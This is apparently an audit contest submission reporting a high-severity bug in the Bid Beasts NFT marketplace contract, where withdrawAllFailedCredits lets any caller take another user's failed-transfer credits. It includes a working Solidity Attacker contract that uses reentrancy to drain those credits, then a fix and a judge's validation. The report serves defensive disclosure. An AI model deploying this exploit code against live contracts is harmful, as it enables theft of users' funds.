Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized withdrawal of failed-transfer credits via incorrect recipient & missing auth

Root + Impact

  • Root: withdrawAllFailedCredits(address _receiver) reads credits for _receiver but zeroes msg.sender’s slot and sends ETH to msg.sender, not to _receiver. No access-control check ties the withdrawal to the credited address. No reentrancy guard.

  • Impact: Any user can drain another user’s failedTransferCredits. With a reentering fallback, an attacker can repeatedly withdraw the same victim’s balance (since the victim’s slot is never cleared).


Description

  • Normal behavior:

    When a direct ETH transfer in _payout fails, the amount is credited to failedTransferCredits[recipient]. Later, that recipient should withdraw their own credits safely.

  • Issue:
    withdrawAllFailedCredits(address _receiver) reads the victim’s balance from failedTransferCredits[_receiver], but sets to zero failedTransferCredits[msg.sender] and pays msg.sender. Thus, anyone can pass a victim address as _receiver and steal the victim’s credits. Because the victim’s slot is never cleared, a reentrant attacker can loop withdrawals in one tx.

function withdrawAllFailedCredits(address _receiver) external { //@audit reentrancy bug
uint256 amount = failedTransferCredits[_receiver]; // @> Reads victim's balance
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0; // @> Zeroes the ATTACKER's slot, NOT the victim's
(bool success, ) = payable(msg.sender).call{value: amount}(""); // @> Sends victim's funds to ATTACKER
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Reason 1 // Any user can call withdrawAllFailedCredits and supply an arbitrary _receiver (no auth checks are present).

  • Reason 2 // Credits are easy to create in real usage (any failed _payout), and popular markets frequently accumulate such balances.


Impact:

  • Impact 1 // Full theft of another user’s credited ETH (loss of funds).

  • Impact 2 // With a reentering fallback, repeated drains within a single transaction because the victim’s slot is never cleared.


Proof of Concept PoC flow (high level):

  1. Some transfer to RevertingReceiver fails in _payout -> market.failedTransferCredits[RevertingReceiver] = X.

  2. Deploy Attacker with victim = address(RevertingReceiver).

  3. Call Attacker.steal():

    • market.withdrawAllFailedCredits(victim) reads victim's X, zeroes Attacker slot instead, sends X to Attacker.

    • Attacker's receive() reenters while victim's credit remains untouched -> repeated thefts.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IMarket {
function withdrawAllFailedCredits(address _receiver) external;
function failedTransferCredits(address) external view returns (uint256);
}
contract RevertingReceiver {
// Used to force _payout to credit failedTransferCredits[this]
receive() external payable { revert("force-credit"); }
}
contract Attacker {
IMarket public market;
address public victim;
constructor(IMarket _market, address _victim) {
market = _market;
victim = _victim; // e.g., address(RevertingReceiver) credited via failed _payout
}
// Reentrancy to repeatedly drain since victim balance isn't cleared
receive() external payable {
uint256 bal = market.failedTransferCredits(victim);
if (bal > 0) {
market.withdrawAllFailedCredits(victim); // reenter until gas runs out
}
}
function steal() external {
// Single call steals victim's credits and reenters until drained
market.withdrawAllFailedCredits(victim);
}
}

Recommended Mitigation

  1. Bind withdrawal to the caller, not an arbitrary address; clear before external call; guard reentrancy.

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ function withdrawAllFailedCredits() external nonReentrant {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+ failedTransferCredits[msg.sender] = 0;
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!